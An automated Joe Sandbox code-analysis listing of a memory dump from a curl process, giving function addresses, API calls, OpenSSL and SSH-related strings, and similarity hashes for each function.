Part of subcall function 00A219B6: __getptd_noexit.LIBCMT ref: 00A219BA

Strings

Unknown error %d (%#x), xrefs: 0093241B

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ErrorLast$_strrchr$FormatMessage__getptd_noexit_strncpy
String ID: Unknown error %d (%#x)
API String ID: 501956867-2414550090
Opcode ID: 85002714256be8127f166d2cf227ff5f9fe07cdec28f9d40673faf9b75c61623
Instruction ID: 5dc44f12ac903f0eb1732c9964b780827c595e7e6cecb16f5fca2823f5775c5e
Opcode Fuzzy Hash: 85002714256be8127f166d2cf227ff5f9fe07cdec28f9d40673faf9b75c61623
Instruction Fuzzy Hash: 091127717002516BE62127397D4EF3F289D8FDAB46F040038F80AE66E3FA94880186F2

Function 009EC0C0 Relevance: 13.6, APIs: 5, Strings: 2, Instructions: 1351COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009EC2B8
_memmove.LIBCMT ref: 009EC2D1
_memset.LIBCMT ref: 009EC38C

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 009ED0CE
..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 009ED0D8

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove$_memset
String ID: ..\..\openssl\openssl\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1357608183-165147023
Opcode ID: e5b9d0027a78425b588d66ab602bdde0eb73884b5202bb27dbfff276300c5cc0
Instruction ID: 74224edd6f5d8cfadce92e00a9f6c8173c2be7f9717c60d8ece186ecaa23980a
Opcode Fuzzy Hash: e5b9d0027a78425b588d66ab602bdde0eb73884b5202bb27dbfff276300c5cc0
Instruction Fuzzy Hash: 29A2BFB16043819BD726DB66C841B6BB7E9BFC5700F08492DF8C997251EB35ED02CB92

Function 00A16E50 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 352COMMON

Download Yara Rule

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 00A172BB
..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 00A172C5
[%s]:%d, xrefs: 00A16F11

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _raise
String ID: ..\..\openssl\openssl\crypto\evp\digest.c$[%s]:%d$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 845051653-3812802938
Opcode ID: 6b3a5ee51c75c91520295734ded26285a4bbf7c9d79b7d2adca95ac96bc3fef5
Instruction ID: 1091c01d63f5a252c1b2eed276a7d27d38bcd9c385298e29904f9261836e7a4a
Opcode Fuzzy Hash: 6b3a5ee51c75c91520295734ded26285a4bbf7c9d79b7d2adca95ac96bc3fef5
Instruction Fuzzy Hash: FAD18C716083459BDB24CF64C880AEBB7F5BF99304F184A6DF88587251E772DD89CB82

Function 00948810 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 327COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0094886B
__aulldiv.LIBCMT ref: 00948906

Strings

[%s %s %s], xrefs: 00948B7E
Data, xrefs: 00948B79
Failed to alloc scratch buffer!, xrefs: 009489CF
We are completely uploaded and fine, xrefs: 00948C20

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: __aulldiv
String ID: Data$Failed to alloc scratch buffer!$We are completely uploaded and fine$[%s %s %s]
API String ID: 3732870572-1827779809
Opcode ID: 62693bc1645bafb97e3b7e235bb0de5d2ea7631e7bbdf1a8e0fa2ecd2748d182
Instruction ID: 2d946713d47df46009a4e1636cff4575a6f053b546ee6394dfd9bded7d9e8246
Opcode Fuzzy Hash: 62693bc1645bafb97e3b7e235bb0de5d2ea7631e7bbdf1a8e0fa2ecd2748d182
Instruction Fuzzy Hash: 01D1E7716047419FD768CF38C881BAEF7E8BF85315F04466EE85D9B281DB70A845CB92

Function 009EA170 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 239COMMON

Download Yara Rule

Strings

..\..\openssl\openssl\crypto\rsa\rsa_oaep.c, xrefs: 009EA1D2
..\..\openssl\openssl\crypto\rsa\rsa_oaep.c, xrefs: 009EA27C
..\..\openssl\openssl\crypto\rsa\rsa_oaep.c, xrefs: 009EA263
..\..\openssl\openssl\crypto\rsa\rsa_oaep.c, xrefs: 009EA1A1

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID:
String ID: ..\..\openssl\openssl\crypto\rsa\rsa_oaep.c$..\..\openssl\openssl\crypto\rsa\rsa_oaep.c$..\..\openssl\openssl\crypto\rsa\rsa_oaep.c$..\..\openssl\openssl\crypto\rsa\rsa_oaep.c
API String ID: 0-3189898786
Opcode ID: d8d57d1846a7ce702e9462d0038e9d9d6148bf796ed9c97c3de6ce9a6a8b68d6
Instruction ID: 85811649b9562bf679c2df6df1b1e134b38546970cd23c857d0e9ac2fe2b91dd
Opcode Fuzzy Hash: d8d57d1846a7ce702e9462d0038e9d9d6148bf796ed9c97c3de6ce9a6a8b68d6
Instruction Fuzzy Hash: DC712632B043854BD715DF29CC42BABB795BFD4304F044A29F9499B292FB65E949C382

Function 00A36C8C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 00A36CA3
_wcscmp.LIBCMT ref: 00A36CB4
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00A36EE8,?,00000000), ref: 00A36CD0
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00A36EE8,?,00000000), ref: 00A36CFA

Strings

OCP, xrefs: 00A36CAE
ACP, xrefs: 00A36C9D

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 05e427a3e81b4746236f6caa7cf288a0fb2f6547434207eafb0f4f0ea9038202
Instruction ID: 14f35776f1b9af4a034dd5e37b22a8c6be78f1c4a9beeb2c9d1e01d349b1b800
Opcode Fuzzy Hash: 05e427a3e81b4746236f6caa7cf288a0fb2f6547434207eafb0f4f0ea9038202
Instruction Fuzzy Hash: C6014C36200615FBEB109F69EC45E9A77A8EF047A1F14C415F948DA090E731EA91C791

Function 00A1D080 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 352COMMON

Download Yara Rule

Strings

Received global request type %.*s (wr %X), xrefs: 00A1D335
Disconnect(%d): %s(%s), xrefs: 00A1D1E4
R, xrefs: 00A1D34D
Debug Packet: %s, xrefs: 00A1D2EE

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID:
String ID: Debug Packet: %s$Disconnect(%d): %s(%s)$R$Received global request type %.*s (wr %X)
API String ID: 0-31130110
Opcode ID: aeabd45d29c7453423a1e1a8613c7063cb373e7785c3819bdb060bf22af1eb4d
Instruction ID: 4657319331bd0f381d16ea395654151b90369d2c6228f728b069441d0d6731cf
Opcode Fuzzy Hash: aeabd45d29c7453423a1e1a8613c7063cb373e7785c3819bdb060bf22af1eb4d
Instruction Fuzzy Hash: 8FC1F170604702ABD314DF78C885FEBFBE5BF85314F40462EE46986281EB75A984CB92

Function 00A186B0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00A1880A
_memmove.LIBCMT ref: 00A18860
_memmove.LIBCMT ref: 00A188AE
_memmove.LIBCMT ref: 00A188F7

Strings

ssh-dss, xrefs: 00A187BF

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: ssh-dss
API String ID: 4104443479-3028306055
Opcode ID: 7b07694bf0d0b6e05d3c7cb4da016641932efb1cfbbf1090c76eaca12d4ebfb3
Instruction ID: c7117d141408a1c22c9d59a15406f363906e40fdaafc1a29e72fdd5cc3f3ffad
Opcode Fuzzy Hash: 7b07694bf0d0b6e05d3c7cb4da016641932efb1cfbbf1090c76eaca12d4ebfb3
Instruction Fuzzy Hash: 9681A7756083469FC704CF19C840A5AFBF1FFD5244F5886ADE8889B352D735EA06C7A1

Function 009BA7B0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 175COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009BA839

Strings

md_size <= EVP_MAX_MD_SIZE, xrefs: 009BA90B
orig_len >= md_size, xrefs: 009BA91F
..\..\openssl\openssl\ssl\s3_cbc.c, xrefs: 009BA915
..\..\openssl\openssl\ssl\s3_cbc.c, xrefs: 009BA929

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset
String ID: ..\..\openssl\openssl\ssl\s3_cbc.c$..\..\openssl\openssl\ssl\s3_cbc.c$md_size <= EVP_MAX_MD_SIZE$orig_len >= md_size
API String ID: 2102423945-3854837859
Opcode ID: eb7ef17943d4d04d63ff9bc5ebeffd521f818cac24e7e5405f29341ae95b13b1
Instruction ID: d101720a90c0b4af245289c24d34184f19c63be058a95bfac578c675c38544b1
Opcode Fuzzy Hash: eb7ef17943d4d04d63ff9bc5ebeffd521f818cac24e7e5405f29341ae95b13b1
Instruction Fuzzy Hash: 09515E356083918FC315CF6D85506AAFFE1AF96210F1CC69EE4D88B343C635D94ACBA2

Function 009A4030 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 310COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 009A40DB

Part of subcall function 00990900: _memset.LIBCMT ref: 00990923

_memmove.LIBCMT ref: 009A42A4

Strings

..\..\openssl\openssl\crypto\x509\x509_obj.c, xrefs: 009A432A
NO X509_NAME, xrefs: 009A40D5

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove_memset_strncpy
String ID: ..\..\openssl\openssl\crypto\x509\x509_obj.c$NO X509_NAME
API String ID: 1713926643-3273843589
Opcode ID: 8db8739595c3bffb80e02a2b7da116eab0df0a046b6e5afd6dd40767000b61d9
Instruction ID: 7f940329a3df6d942edfff878f6981a4b53df7ee320904b8d5638df9959d2177
Opcode Fuzzy Hash: 8db8739595c3bffb80e02a2b7da116eab0df0a046b6e5afd6dd40767000b61d9
Instruction Fuzzy Hash: C3B1E0316083518FD720CF28C881B5ABBE4AFD6314F15492DF8999B341EBB5E846CBD2

Function 009BCC70 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 454COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009BCE01

Strings

..\..\openssl\openssl\crypto\bn\bn_exp.c, xrefs: 009BCDD4
..\..\openssl\openssl\crypto\bn\bn_exp.c, xrefs: 009BCCC1

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
